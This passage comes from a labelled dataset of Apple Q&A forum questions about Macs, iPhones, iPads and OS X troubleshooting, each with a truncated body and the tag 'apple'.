iPod touch 5th gen, I put ""English"" for iOS language. I then switched iOS to ""Français (Canada)"" in the General Settings/International. Everything look fine except one ... ",['apple'] "Title: Deleting email from an iPad? Body: Is there a workaround for the iOS inability to easily delete ALL (or large blocks of) email from my iPhone and iPad ? ",['apple'] "Title: Mac virtual memory: how to make OS X create swap (page) files as freely with a normal boot as it does with a safe boot (swapfile1 etc) Body: Background When my MacBookPro5,2 with 8 GB memory boots in safe mode I see that the operating system causes dynamic_pager(8) to create swap files in a way that's relatively unrestrained. In the file ... ",['apple'] "Title: “opensnoop” utility doesn't work with spaces between filenames, how to fix? Body: I use ""opensnoop"" /usr/bin/opensnoop to show all files which are opened from different processes. But when I want to specific a file with sudo opensnoop -n ""directory/filename"" i'm getting ... ",['apple'] "Title: VirtualBox or Parallels: Great Visualization Body: I decide to choose two virtual machines. VirtualBox and Parallels. Issue: Which of them good enough for visualization tasks? (GPU, games) I want to install on my Macbook Pro 2011 more RAM: 4gb -> ... ",['apple'] "Title: How to determine which files are on SSD on Fusion Drive? Body: My question is: How can i determine which files are on the SSD ""partition"" on Fusion Drive? I have an iMac with 1TB Fusion Drive, and it would be good to know which apps or data are on which ... ",['apple'] "Title: 2011 Macbook Pro - GPU dying? Body: I have a 2011 MBP, 2.2 GHz, 8 GB, AMD 6750M, 512GB SSD that I installed myself. No AppleCare. Recently, I have had these weird glitches showing up shortly after I connect an external screen: What ... ",['apple'] "Title: Multiple mouse cursors for multiply mice Body: Is there any solution to support individual cursor for each plugged mouse in OS X 10.8? ",['apple'] "Title: Spotlight Doesn't Properly Show Preference Panes Body: I'm having an issue where Spotlight isn't properly showing results for System Preference panels. When I search for a preference panel by name (e.g. Sharing or Network), I don't get any System ... ",['apple'] "Title: OS X Mountain Lion: Change resolution automatically when on battery Body: I have a rMBP running OS X 10.8 Mountain Lion. I normally use the display at a 1680x1050. Is there a way to have the display automatically change resolution to the default retina when on battery, and ... ",['apple'] "Title: How to set up ZEVO / ZFS on an internal disk while maintaining full disk encryption? Body: It seems that it's currently impossible to have the entire boot drive converted to ZFS. How would one go about converting a single disk HFS+ Filevault 2 setup into a setup which has full encryption ... ",['apple'] "Title: Historically, how soon does Apple implement new wireless standards in their routers? Body: With the 802.11ac Wi-Fi standard set to become the new wireless standard, I am wondering how quick Apple has been, historically speaking, to implement new standards like these in their AirPorts and ... ",['apple'] "Title: How to edit theme colors in TextMate 2? Body: In TextMate 1 there is a Fonts & Colors tab in Preferences to edit theme colors, but in TextMate 2 I cannot find how to do the same... I can select a theme in the View menu, but I want to ... ",['apple'] "Title: Macbook Pro not Starting Body: I have a MacBook Pro and from the last week I have been unable to turn the machine on properly. First it displays the Apple logo and shows this message I've done a lot of research and tried things ... ",['apple'] "Title: Who controls the contact picture on iOS in address book? Body: My son has a inappropriate picture of a girl as her contact photo... When I questioned him about it he said that she had made it her outgoing contact photo and he had no control over it... Is this ... ",['apple'] "Title: Need to know what's the contents of /var/db/launchd.db/com.apple.launchd/overrides.plist from Mac OS X Mountain Lion? Body: I accidentally issued the following command: # launchctl load -w /System/Library/LaunchDaemons/ I wish to see outputs of mac os x mountain lion launchd% list command. See below on pastie the current ... ",['apple'] "Title: Why do YouTube videos take longer than the length of the video to load? Body: I've been using my AppleTV (3rd generation) to watch YouTube videos for some time, and have been encountering an increasingly frustrating issue. Videos have been taking longer to load than the length ... ",['apple'] "Title: Can OS X access files in my Dropbox account without using space on my local hard drive? Body: Question in title. Is there any way for such configuration? OR at least that files are stored only on one computer. Of course I am aware that I can use internet browser version of dropbox, but I would ... ",['apple'] "Title: Is there a rpmbuild that works on macosx? Body: I am working on a maven build that needs to make an rpm. Is there a native rpmbuild utility that will run on MacOSX? So far I have found some old abandoned macports/darwin projects and people ... ",['apple'] "Title: Can you sync only a group of contacts from a Mac to an iPhone? Body: I'm running iOS 6 on an iPhone 3GS. I see that all my contacts from my computer have appeared in the Contacts app on my phone. Now my contacts database on my computer is, to say the least, messy. It ... ",['apple'] "Title: How do I get rid of my encrypted iPhone backups to start from scratch? Body: Is there a way I can delete all my encrypted iPhone backups for which I forgot the password, so that I can start backing up from fresh? At the moment I'm stuck in this loop (below) which I can't ... ",['apple'] "Title: Transfer RAM from MacBook Mid 2010 to MacBook Pro 2008 Body: I ruined my beloved mid 2010 MacBook and planning to get a used MacBook Pro 2008 (not unibody) now. Currently, I have 2x4GB memory units in my MacBook and I would like to now if I can use at least one ... ",['apple'] "Title: Command + R not working on Snow Leopard reboot Body: I am trying to install OSX (10.6) from disk, but before I do I want to format the hard drive which requires the Disk Utility from the disk. I am pressing Command + R at start up, but the MacBook is ... ",['apple'] "Title: Reload driver for USB card reader without restart? Body: I have a USB card reader that I use for online banking (Handelsbanken, Sweden) purposes. Ever so often the driver to this card reader stops working and forces me to restart the computer. The broken ... ",['apple'] "Title: My external hard drive has been formatted. No backup on Time Machine. How can I recover my files? Body: I lent my hard drive to a friend and he has formatted it as he couldn't get his PC to recognise it. I have no Time Machine backUp. Is there any way of recovering this data? ",['apple'] "Title: how do I reset or clear the list of Volumes? Body: I am running into this problem when I accidentally remove a USB drive without properly ejecting it or similar and then plug it back in. When my drive is plugged back in it will apear normally, for ... ",['apple'] "Title: How to report app store rule violations? Body: Is there a link or somewhere to report App Store rule violations? Specifically, when an app is using Push Notifications to send you advertisements/promotions, despite this being explicitly against ... ",['apple'] "Title: iPhone switches to speakerphone when away from my face Body: Since this morning I think, when I'm on a call and move my iPhone away from my face a bit, it seems to automatically switch to Speakerphone (the voice can be heard out loud) and it shows the number ... ",['apple'] "Title: MDM that can control wifi and bluetooth Body: This is my first time posting here and hopes for a positive outcome..;-) My Japanese boss just come up with an idea of having a mobile device management that can control the flow of data (access) ... ",['apple'] "Title: Safari web browser do not find strings on a page in the common way Body: How to switch Safari to a normal web page searching instead of finding only whole words? Ex: there ase some words on a page: hello_world, ask_different. When I search for hello, world, ask, different ... ",['apple'] "Title: Help needed with Boot Camp Setup Body: I have a 2009 27"" Core2Duo 8GB RAM iMac. The hard drive is a brand new 3TB with a fresh install of 10.8.3. I want to install Windows 7 64bit. I set up some basic settings and have a backup at the ... ",['apple'] "Title: iPhone opens applications or makes a call on its own Body: I have an iPhone 4s and when I am at work and it is charging (a generic charger) it will (intermittently) open applications that are on it or makes a phone call to a contact, usually the top number in ... ",['apple'] "Title: Clicking help on Time Machine “to improve reliability, Time Machine must create a new backup for you” message cancels it? Body: On a fairly new machine running 10.8.3 I'm getting the message: Time Machine completed a verification of your backups on “<disk>”. To improve reliability, Time Machine must create a new ... ",['apple'] "Title: How can I remap keys on a headless mac? Body: At the moment I'm remotely accessing my mac via logmein. I'm trying to remap Command to Control via system preferences. However every time I try to do this it keeps resetting to the default. As ... ",['apple'] "Title: Intermittently unresponsive keyboard and trackpad on Macbook Air Body: Especially since the 10.8.3 update, I've been experiencing occasional freezes of my 2012 Macbook Air's trackpad and keyboard. The trackpad will be completely unresponsive, and usually only a few ... ",['apple'] "Title: iPhone 5 case for parkour Body: I am looking for a good iPhone 5 case for parkour. As I often climb up walls and something like this the iPhone should be protected well. I found the Griffin Survivor, which is actually perfekt but ... ",['apple'] "Title: Is there something similar to Axialis Iconworkshop? Body: Is there something similar to http://www.axialis.com/iconworkshop/ which is an icon designer? If not, then it appears its only windows, what would the best way of running thing on mac-osx? Thanks ",['apple'] "Title: OS X application manager Body: Unix-sytled, ""package managers"" like Fink, Homebrew, and MacPorts do a good job of managing 'headless' libraries. I would like something similar to manage OS X applications with a GUI. I am hoping ... ",['apple'] "Title: Install Mountain Lion to another drive without rebooting Body: I'm wondering if its possible to install Mountain Lion to an external drive (connected via esata) without rebooting from the host system? I came across this hint suggesting that it was possible to do ... ",['apple'] "Title: Why is the % saved only displayed for some refurbished products? Body: I was browsing the listing for the refurbished iMacs and noticed that some of the items explicitly state how much is being saved while others do not. While it is easy to calculate the savings ... ",['apple'] "Title: Using Mobile SIM card with an iPad Mini Body: If I buy a Wifi and Cellular iPad Mini, could I cut down my mobile SIM card and use its cellular data with the iPad? ",['apple'] "Title: “# is not registered with iMessage” error Body: Let me clearly establish that I am not trying to send a sms to a non-iPhone user. On my OS x Mountain Lion macbook pro I was sending iMessages from the Messages application just fine until all of a ... ",['apple'] "Title: Automatic reflow of icons in Finder while resizing window? Body: Is there any way to enable automatic reflow of icons in Finder while resizing the window? One constantly has to to resort via ""clean up by ..."" after resize. I've yet to find a piece of software ... ",['apple'] "Title: Can a FileVault-encrypted partition be accessed using a password I supplied during OS X install? Body: I have a MacBook (Retina, Mid 2012 if it's relevant) which I installed Mountain Lion onto, creating one user account only (an Admin account). There is a Guest User, marked for ""Sharing Only"". The hard ... ",['apple'] "Title: How can I flush /delete the Finder clipboard in OS X 10.8.3 ? I always see 2 items when I paste from the clipboard Body: How can I flush /delete the Finder clipboard in OS X 10.8.3 ? I always have 2 items when I paste from the clipboard. ",['apple'] "Title: Is there a way to hibernate macbook then switch to windows? Body: I have installed Windows7 by bootcamp on my Macbook, however, every time when I want to switch to Windows, I have to reboot the machine completely. That means I cannot keep my current workspace when ... ",['apple'] "Title: Change default shell from bash to zsh Body: I've tried to switch my default shell to zsh, using chsh: chsh -s /bin/zsh and: chsh -s `which zsh` Both commands ended with: Changing shell for adamatan. Password for adamatan: chsh: ... ",['apple'] "Title: How can I easily toggle the cursor size back and forth between normal and largest? Body: I'm using Mac OS 10.8.3. I have a huge display and bad eyes, so I like to have the mouse cursor be the largest possible size. (under System Preferences: Accessibility: Display: Cursor size. However, ... ",['apple'] "Title: Why does the MacBook Air have five pins on the charger? Body: I just got a MacBook Air and noticed the charger has 5 (i.e., an odd number) pins. Shouldn't there be a pair number, one for positive, one for negative charge? I thought about it being ground, but ... ",['apple'] "Title: Something wrong with the root shell Body: Today, I've tried opening a root shell and, oh surprise, weird answer... Any idea of where it could be from ? ",['apple'] "Title: Download App updates seperately for Mac and iPad? Body: If I download iPad App updates via iTunes on a Mac, shouldn't they automatically sync when I connect the iPad to the Mac? I plugged an iPad 3 (iOS 6.1.3) into a Mac (OS X 10.6.8) running iTunes ... ",['apple'] "Title: Jumbled block instead of mouse pointer in login window Body: This jumbled block to the left of my login screen is my mouse pointer: I've lost the little arrow. I'm having trouble determining what the cause could be. I'm not sure if it's the data display ... ",['apple'] "Title: Automator crashes on Lion, error: Exited abnormally: Broken pipe: 13 Body: I wrote a workflow to check battery duration, on osx 10.8.3 works perfectly and on 10.7.5 crash after a random time. In console I get this error: com.apple.launchd.peruser.501: ... ",['apple'] "Title: Why does Apple's website break with 2o7.net blocked? Body: I have an /etc/hosts block on 2o7.net and it seems that Apple's metrics.apple.com is a DNS alias for 2o7. When navigating apple.com with Chrome or Safari, I get the following: Failed to load ... ",['apple'] "Title: What software can play FLAC files and has basic playlist support? Body: What are options to play FLAC files and have playlists on OSX? I've not seen a way to make iTunes play them natively, songbird looks terrible with retina display and same goes for clementine. I just ... ",['apple'] "Title: NTFS-Bootcamp-partition thinks it is a FAT partition Body: I'm running 10.8.3 Snow Leopard and installed Windows 7 x64 using Bootcamp. Both system are running fine. I couldn't use the bootcamp-partition inside in Parallels and then I read about Tuxera NTFS ... ",['apple'] "Title: Where did tab completion go? Body: Recently, in both Terminal and iTerm, my tab autocompletion has stopped working. About 80% of the time I just get the error sound when I hit TAB. About 20% of the time I get the expected behavior. ... ",['apple'] "Title: How can I import private keys to iSSH app in iPhone? Body: Suppose a private key in Dropbox/server. I have tried copying it from Dropbox to iPhone's default clipboard and then to iSSH app but there is no area to paste it in iSSH, very unintuitive ... ",['apple'] "Title: Wired keyboard for iPad Mini Body: Is there any wired keyboard-case available for new iPad Mini (thefore using Lightning port)? Or keyboard-case with standard USB cable, that has been tested and proven to work with Lightning OTG ... ",['apple'] "Title: Is there any way to tell if someone is reading my iMessages? Body: I think someone may be reading my iMessages on another device? Is this possible? Is there any way to find out? ",['apple'] "Title: Time machine error-1 Body: How can I solve the problem - The backup disk image “/Volumes/Time Capsule de xx/MacBook Pro xx.sparsebundle” could not be accessed (error -1). ",['apple'] "Title: Why is AirDrop so slow? Body: I am trying different solutions to transfer some 1 GB size files between two Macs on my local wireless network (typically between me and a guest, both being physically in the living room). Here are ... ",['apple'] "Title: Text editing: switch to Override mode Body: In insert mode, the text in front of the cursor is pushed forward when new text is inserted. For example, if the cursor is at position ^ and the word word3 is typed: word1 word2 ^ The result ... ",['apple'] "Title: iPad 2 wifi only can't send I massage Body: When I send a message from my iPad 2 wifi only tablet it doesn't say read or delivered and the one I am sending to doesn't receive it. But when I send it to myself I immediately receive it. Why is ... ",['apple'] "Title: Don't have access to itunes: How to skip ipad upgrade? Body: I don't have access to itunes, but i asked ipad to upgrade to latest ios release. Now my ipad is struck asking me to connect to itunes. How to skip this and boot the ipad normally? ",['apple'] "Title: How to transfer entire iMessage conversations to computer? Body: I am getting a new iPhone come next month. I want to save all of my nostalgic conversations for the future. Is there a way to transfer an entire chat log to the computer in plain text? Or will I ... ",['apple'] "Title: How do I create a SSB for Outlook web mail using Fluid? Body: Has anyone successfully created a fluid app for outlook web mail (aka live mail)? I've tried but either the site opens in my web browser or (after white listing variations of the site url) I get an ... ",['apple'] "Title: Xcode 4.6.1 install hangs at “Installing - less than one minute” on Lion Body: I have been trying to update to Xcode 4.6.1 (from 4.6) on OS X 10.7.5. The install gets most of the way through, then hangs out at ""Installing - less than one minute"" indefinitely. Based on old ... ",['apple'] "Title: Will apple accept a javascript app that usees Google Maps API? Body: Will there be any problems if I send a javascript and html app to the App Store, which uses the Google Maps API. The app is a route planner. ",['apple'] "Title: How can I automaticly move every file on desktop to specific folder based on extension? Body: I'm looking for something, probably some kind of action script, that will at any time move everything that's on my desktop directly to a specific folder on my desktop, based on the extension. Just to ... ",['apple'] "Title: How to type backslash in Russian on Macbook pro Body: I can't find the backslash key either in low case or upper case(by holding shift key) in Russian input method( I chose it on input source) on Macbook pro. But if I choose russian pc input method, ... ",['apple'] "Title: iPhone 4 disabled after several failed password attempts? Body: My friend has an iPhone 4. Yesterday it got disabled after several failed passcode attempts. When you press the turn on/off switch or the home screen button, the following message appears: iPhone ... ",['apple'] "Title: If I turn on FileVault for a TimeMachine drive, are previous backups encrypted Body: I have been running TimeMachine for a couple of months, but just now decided to encrypt my backups. Having ticked the box for encryption for my backup drive, TimeMachine nows says I have no previous ... ",['apple'] "Title: Notes keeps prompting me for POP passwords Body: The Apple Notes app (Mountain Lion) keeps asking me to enter passwords for my various email accounts (POP) that I've added to Mail. Mail does not prompt me to re-enter any passwords, but sometimes ... ",['apple'] "Title: Automatically Inserting Text Globally Body: Let's say I want this action to happen on any program whenever I press F10 (or some other custom key combination): Paste the text: ""Hello World!"" There's a similar tool in Windows called AutoHotKey ... ",['apple'] "Title: Can't install an OS on 2008 Core 2 Duo MacBook Pro Body: I've got a MacBook Pro from 2008 with an Intel Core 2 Duo. I installed Ubuntu 10.10, then installed Debian 7 Testing. Debian 7 was fine, but for some reason the red and blue were swapped (green was ... ",['apple'] "Title: How do a create an iPhoto Smart Album of ANY of the names X, Y or Z but only for the year 2013 Body: I'm trying to create a smart album that has ""face is"" with each member of my family the date range is a given year. In other words I'm trying to create a ""yearly"" smart album of just my immediate ... ",['apple'] "Title: Why did the 10.8.3 update disappear from the App Store after I restarted my new Mac? Body: I’ve just bought a new Mac with 10.8.2 pre-installed. When I started it up for the first time, once I’d gone through the initial set-up, the App Store launched, and showed me an iPhoto update, and ... ",['apple'] "Title: Temporarily disable Notification Center in Mountain Lion from command line? Body: I've been trying to create a script to disable/enable the Notification Center, even if it's temporary. It should do the same as manually sliding the Notification Center, scrolling up, and toggling the ... ",['apple'] "Title: How can I turn ~/Documents into a symlink? Body: I keep my Documents in an encrypted directory in Dropbox (~/Dropbox/encrypted), which I then mount at ~/clear when I log in. On my other Macs, I have change ~/Documents to a symlink that points at ... ",['apple'] "Title: Black Screen after installing RAM in MacBook (early 2008) Body: I've tried installing 2 x 2gb DDR2 PC2-6400 modules into an early 2008 MacBook. After installation the machine booted into a black screen, with no chime. I tried reseating the RAM, same problem. I ... ",['apple'] "Title: How do I edit Mac OS X terminal history? Body: How do I edit my bash history in Mac OS X? I entered a password in that window by mistake and do not want to remove my whole history. ",['apple'] "Title: Does anyone use Ubuntu One on OSX? Body: I used to use Ubuntu One for syncing files between Ubuntu machines. Now I have a MacBook and I installed the Ubuntu One client on that. Unfortunately I am finding that lots of the time I make ... ",['apple'] "Title: Searching for punctuation in Preview Body: In Preview (v 5.3 on 10.6.8), if I search for a single letter such as k in a pdf, the program will find and highlight every instance of that letter in the pdf. However, if I search for a punctuation ... ",['apple'] "Title: Can command or option and shift (just those two keys) be assigned as an OS X shortcut? Body: How can I assign command (apple) + shift or option (alt) + shift as a shortcut? It seems that I can assign other keyboard combinations but not this one as a shortcut. ",['apple'] "Title: Deleting contacts from mac contacts application with no Phone number Body: Is it possible to delete contacts from mac contacts application which have no phone no? Or export only those contacts which have a contact? Thanks. ",['apple'] "Title: Submitting to the appstore: Once an app is reviewed by Apple, does it automatically go live on the app store? Body: I'm not a developer yet but need a quick answer to this question. I know when submitting an iPhone App to the App Store, Apple is reviewing the App precisely. I wonder how this works. Lets say the ... ",['apple'] "Title: USB Port of Macbook frequently stop working Body: One of the two USB ports of my Macbook Pro stop working frequently. Once I reboot the computer, then two USB ports work well. But one of them (always the same one makes the problem) stops working. I ... ",['apple'] "Title: Laggy TightVNC on iPad Body: I confess I'm not entirely sure where this belongs, since it's a cross platform issue. I'm trying to use my iPad as a remote for my PC (which functions as my HTPC). I am using TightVNC on the PC ... ",['apple'] "Title: Screen Saver Pics Out of Focus after Update Body: After updating my 13 inch Mac Air to ML 10.8, the screen saver pictures are now fuzzy/out of focus. All was good before the upgrade. Any ideas? ",['apple'] "Title: Check if Network Accounts are avalible Body: We have a domain running Microsoft Active Directory and in that domain there is a number of Mac computers running Leopard and later. Sometimes the users are met by a red dot at the login screen, ... ",['apple'] "Title: Fusion-drive on OS 10.7 Body: I have a new iMac, but I need to revert back to OS10.7 for software compatibility issues at work. Will the fusion-drive function properly? ",['apple'] "Title: How could i use an iMac as secondary monitor for windows 7 laptop Body: Recently (less than one year ago) i bought an iMac 21,5"". Now i would like to use it as secondary monitor for my laptop. (My laptop runs Windows 7). Is it possible? (I found conflicting opinions on ... ",['apple'] "Title: iPad 2 restarting intermittently and very slow to operate and charge Body: I have an iPad 2 (Model MC769B/A) running on iOS 6.1.3 (10B329) and over the past few days I have experienced very slow charging times when plugged into the usual source - the main wall socket. Also, ... ",['apple'] "Title: A file is already taken even though there is no such file Body: The name “bar_nearby_icon” with extension “.png” is already taken. Please choose a different name. I got that message when I tried to change a file to bar_nearby_icon.png But therre is no ... ",['apple'] "Title: Is there a Mail plugin to let me view unread emails first? Body: Similar to Gmail priority inbox, is there a Mail 6.3 (OSX Mountain Lion) plugin that lets me view unread messages first or sort them so they're at top of inbox? ",['apple'] "Title: iCloud sync issues Body: I'm trying to trouble-shoot my syncing problem; I have my Apple ID for my iPhone 5 and iMac desktop, and my wife has her Apple ID for her iPad 2 and iPhone 4. Is this setup preventing all of our ... ",['apple'] "Title: How to use a PDF in a presentation Body: I have to make a little keynote tomorrow, and I have all the slides saved as PDFs. I will be using a projector as a second screen to my laptop. What's the best way to transform this long PDF document ... ",['apple'] "Title: How do I use screencapture for capturing floating windows? Body: I am trying to automate the periodic capture of a floating window. Specifically, of the floating 'Current Call' window which is used by Skype when the main window is off-screen. By googling, I found ... ",['apple'] "Title: iPhoto11 Pictures disappear after importing Body: After upgrading to iPhoto11, all the pictures i had at the time remained in my library, but now when i import photos from my camera memory card they only show up in last import, not in 'event's or ... ",['apple'] "Title: Do Java security settings in Mountain Lion cause java.lang.ExceptionInInitializerError? Body: In a nutshell, I have a java app that crashes in java.lang.ExceptionInInitializerError and I'm looking to see if my OS/Java settings might be causing this error. I cannot change the security settings ... ",['apple'] "Title: Why do subtitles not work when streaming via AirPlay to Apple TV? Body: Whenever I use AirPlay to watch streamed content (streaming from the web (via an app or Safari), that is, not from a downloaded movie) from my iPad to my Apple TV, subtitles are never carried over. ... ",['apple'] "Title: Can a generic charging cable harm my iPhone? [duplicate] Body: If I use a generic (unoriginal/no name) iPhone charging cable to charge my iPhone 4S, does it do any harm to the phone? Some people say if you use a generic cable instead of the original cable, it ... ",['apple'] "Title: How to share files or folders across different user accounts on Mountain Lion? Body: I have some files with an user account.I would like to share some of the files to another user on the same MAC. I copied the files to Public folder,but I am not able to view the files in the other ... ",['apple'] "Title: Number type “other” showing up when not saved Body: Every time I start to type in a persons name their number automatically shows up even though they are not saved in my contacts. I'm thinking it must be linked with something because it shows the ... ",['apple'] "Title: Cannot connect to specific website since OSX Mountain Lion install Body: I just installed Mountain Lion and everything is working pretty well except I can't connect to adobe.com. I can not connect on any of the browsers (firefox, chrome, safari). i can access the website ... ",['apple'] "Title: How to find specific IP address within LAN? Body: With the setup I used to have I was able to control the home-domotica system via the wireless network of the time-capsule (app iPhone). 10.0.1.152 However today I had to move the time-capsule to ... ",['apple'] "Title: Can I Mount a Hard Drive in Mac Pro Tower as Read Only? Body: I'm trying to recover data from a failed external Fantom RAID Drive enclosure by plugging the drives into a Mac Pro tower, but I'm concerned that OS X might write to the disks and jeopardize the RAID ... ",['apple'] "Title: Is there a better alternative to Bluetooth Explorer.app? Body: Title's everything… Is there a better alternative to Bluetooth Explorer.app? Better in terms of being: Scriptable. OMGTHISWOULDBESOAWESOME At least have a button to trigger a download to my ... ",['apple'] "Title: Why does Mountain Lion keep using the wrong screen saver? Body: I have my screen saver set to Arabesque. If I move my mouse down to the Screen Saver hot corner, I get Arabesque. If I sit and wait for the screen saver to start automatically, I get Arabesque. But ... ",['apple'] "Title: set remote sharing prefs in terminal Body: I am admin for department and I want to batch change the ""show remote management status in menu bar"" so that I don't have to log in to each machine and set it. I have ARD so I can run a terminal ... ",['apple'] "Title: Permissions looking for unknown user Body: I have a problem on a external drive which permissions are looking for an unknown user. In the permission list it says ""loading...""(or similar word, not on an english machine) in the user field. How ... ",['apple'] "Title: iPad Sprint data plan auto renew Body: I bought a Sprint iPad 4 & need to sign up for a data plan. Before I do, I was wondering: does the Sprint iPad data plan auto renew? If so, can I cancel online, or do I need to call? ",['apple'] "Title: Viber messenger not working on my Ad hoc wireless network Body: I have an iPhone 5 (iOS 6.1.1) and i installed Viber messenger (version 2.2.2.86 to be exact) which enables you to make phone calls over the internet. Now the messenger works perfectly when i use a ... ",['apple'] "Title: Restoring data from iPad to new Mac after old Mac died Body: My wife's Mac died. We sent the hard drive to a data recovery service, but the platters are damaged beyond repair or recovery, nor do we have a usable backup. Now she has a new Mac. Her iPad 1 (iOS ... ",['apple'] "Title: How to install Java 6 on Mac OSX 10.75 Body: I am no longer finding Java 6 on my Mac. I suspect when I upgraded to OSX 7.5 it upgraded my Java. I am running an open source project that must be in Java 6. I can only find Java 6 for OSX 6 Is ... ",['apple'] "Title: Can an xbox360 be connected to a thunderbolt iMac to be used in target display mode Body: I've attempted to do some research, but I've unable to determine if the imac can be used as a monitor (in target display mode) for my xbox 360. It seems like the only option is some kind of weird ... ",['apple'] "Title: Unexpected system crash upon sleep Body: Last night I put my macbookpro9,1 (running 10.8.3) to sleep by closing the lid; this morning I found out it had been shutdown completely. I can't explain this behavior; my paranoid side suspects an ... ",['apple'] "Title: iCloud without the Internet Body: I know this is a long shot, but is there any way of using icloud or parts of it for syncing between two devices in physical proximity (using Bluetooth or ad hoc wifi) but without a connection to the ... ",['apple'] "Title: How to delete iTunes once and for all from the command-line? Body: I'd like to delete iTunes and never ever have it make it again in my OS X system. On a fresh install of OS X 10.6.8 I had iTunes 10 and noticed that on the first ""Software update"" OS X wants to ... ",['apple'] "Title: Is there any way to access some apps before I put in my password? Body: I have a 4 digit passcode for my iphone, but there are some apps that I might use frequently that don't really need to be protected. Is there a way to access those apps without entering my passcode ... ",['apple'] "Title: What Yammer clients available on the Mac? Body: People in my new job seems to like Yammer. I'm aware that Yammer has a desktop client for the Mac, but I find the interface rather unappealing (version 300222 of the Adobe Air client is not responsive ... ",['apple'] "Title: diskutil coreStorage in Lion fails to create a concatenated LVG, error -69886 Body: I would like to create a logical volume group (LVG) with two physical disks. Issue The command: diskutil coreStorage create LVGNAME /dev/disk1 /dev/disk2 returns: Started CoreStorage ... ",['apple'] "Title: Problems installing Lion onto a USB drive Body: I'm having problems installing Lion onto a USB drive. On a Lion MacBook Pro I saved the 'Install Mac OS X Lion.app' application, ran it and selected the USB drive as the destination of the install. ... ",['apple'] "Title: How can I disable active desktop switching itself/ Body: I use my MacBook Pro with many desktops. Some appication events switches the active desktop to another one, for example Safari does it when I open Gmail. I write my Gmail username and password then ... ",['apple'] "Title: Disable iPhone 4 data connection Body: Can I disable the data connection on my iPhone, but use the Wi-Fi as normal? ",['apple'] "Title: New superdrive stops working after every reboot. Body: I have a macbook pro mid-2009 13"" and i just replaced my faulty superdrive with a hitachi superdrive. The new superdrive stops working after every reboot. What i do is i insert/slide a disc as deep as ... ",['apple'] "Title: Why does System Profile information appear in some but not all .panic files with Mountain Lion? Body: Observation For example, the two .panic files at http://zevo.getgreenbytes.com/forum/viewtopic.php?p=4436#p4436 Compared to the first of those two, the second contains additional information. At ... ",['apple'] "Title: How to Move from outlook 2011 to outlook 2007? Body: I want to move from outlook 2011 to outlook 2007 but can't create pst from my mac pc. What should I do now?? ",['apple'] "Title: using the touchscreen from a distance Body: Is there anything that might be able to mimic a finger (by changing the capacitance of the touchscreen) without having to make much physical contact? For example, an electric field that changes the ... ",['apple'] "Title: My iphone 4S is stuck on the Apple logo because the battery died, it has tethered jailbreak, I'm desperate! Body: It's impossible to put it on DFU mode because the thing won't turn off and I don't know what to do and it's getting me crazy, please someone help me! iTunes won't recognize it either. ",['apple'] "Title: IPS Monitor Turning On and Off with a 13"" 2012 MBA Body: I just received this monitor from monoprice. It works great with my 15"" Retina Macbook Pro. On my Macbook Air it turns on and off every 4~5 seconds. It's extremely regular. I took my Air to an Apple ... ",['apple'] "Title: Default chart colors Keynote showroom Body: I want to find out what are the default colors of a 3D bar chart in Showroom layout on keynote. When you add a new chart, you get this colors: But I was unable to find them in the colors palette. ",['apple'] "Title: My Time Capsule insists on being the DHCP server, but I already have one Body: I have today joined the 21st century and started using FTTC, leaving aDSL behind as a fond memory. The modem that my telco provides presents a cat5 socket that my PPPoE capable router plugs into. My ... ",['apple'] "Title: Permissions error when downloading or quick-looking attachments in mail.app after symlinking Mail Downloads directory Body: Awhile back, I symlinked my ~/Library/Mail Downloads directory to ~/Downloads so that my email attachments would be downloaded to the same location that all my other applications download files to. ... ",['apple'] "Title: Deleted Mac OS X boot image but can still access files via Boot Camp Windows Body: Ok, I know I completely messed up here and it's all my fault, but moving past that -- can anyone help me fix this situation? I used Boot Camp to install Windows 7 on my MacBook the other day. Then, ... ",['apple'] "Title: How can I configure my Ethernet connection when booting from Recovery HD? Body: I'm trying to recover from a Time Machine drive sitting on the network at work. Our network doesn't use DHCP–it requires the Ethernet connection to be manually configured. I've looked at the Network ... ",['apple'] "Title: How to add folder to Spotlight “do not index”? Body: Is there any way to programmatically add a folder to Spotlight's ""Privacy"" tab? Either through Terminal or Applescript? Often I want to click on an item in Spotlight results in Finder, and have that ... ",['apple'] "Title: No Sound macbook pro Body: Im playing music through my mbp 15"" speakers and i keep getting a glitch were the sound will wont start playing i click on the sound up key and i get this icon, after a while (10 seconds) it goes away ... ",['apple'] "Title: Cannot Save/Edit to Mac Share Using Mountain Lion Body: The problem: Under Mountain Lion (10.8.3) I cannot create new files or save changes to a particular share, which is running Lion (10.7). I can connect to the shared Mac on my local network (in a ... ",['apple'] "Title: How to determine which apps iTunes will copy from iOS, to stop a deleted app being resurrected? Body: I don't sync my iPad often, but when I do I almost always get the following question from iTunes: ' iTunes has found purchased items on the iPad [or iPhone] ""[device name]"" that are not present in ... ",['apple'] "Title: Multiple Apple ID in Messages.app Body: We use two independent Apple IDs in Messages.app, which I want to keep private. But if I log out of one and log in with the second one within Messages (not the computer itself, but the Apple ID in the ... ",['apple'] "Title: Plug headphone not support with macmini Body: I have a Macmini 4,1. I tried to use plug headset with mic for skype call, but it doesn't work. I can hear the voice from the other end, but my voice can't be heard on the other end. I tried with two ... ",['apple'] "Title: Where are login options stored? Body: How can I read Login options from terminal (Automatic login, Display login windows as, Network Account Server etc.)? ",['apple'] "Title: why would keychain access silently discard an S/MIME X.509 certificate? Body: A co-worker sent me some S/MIME signed email. With anyone else who has done this, the certificate has shown up in my login keychain. Not so with his. I wrote out the attached p7s file, and verified ... ",['apple'] "Title: how to ungroup windows on mac Body: I am coming from ubuntu. In Mac i notice that multiple browser windows or finder windows don't show up independently in task bar or task switcher. This is causing problems in many operations. Is there ... ",['apple'] "Title: Repeated pop-ups 'Safari wants to use the “login” keychain' Body: I get repeated pop-ups saying I then enter the password But the system always keeps on telling me it's the wrong password, which I'm sure it's not This is what the Details reveal: What is ... ",['apple'] "Title: App for convenient media consumption Body: What are some iOS apps that work well for searching, collecting, and consuming media like video (YouTube, Ted talks, and private hosts) and audio (podcasts, NPR, etc)? The important feature is that ... ",['apple'] "Title: Cut two pages by Preview at once Body: When scanning documents, many pages in a row have the same problem. An example where a lot of white empty space in the corner: The application Preview allows selecting the area in a row along the ... ",['apple'] "Title: Mac hard drive almost full; diagnostic apps do not explain why Body: 157gb of my 159gb mac is showing as used. In the storage area 145gb of this is showing as other. What can this be? I have just downloaded whatsize app to understand and whilst the 157gb is showing ... ",['apple'] "Title: Which iCloud service runs in background in OS X? Body: I wondered which service is acutally updating the MobileDocuments folder in OS X? I looked through the Apple Developer pages, but nowhere is any information about background services in OS X. ... ",['apple'] "Title: iPod no wireless networks problem Body: My daughter has an iPod 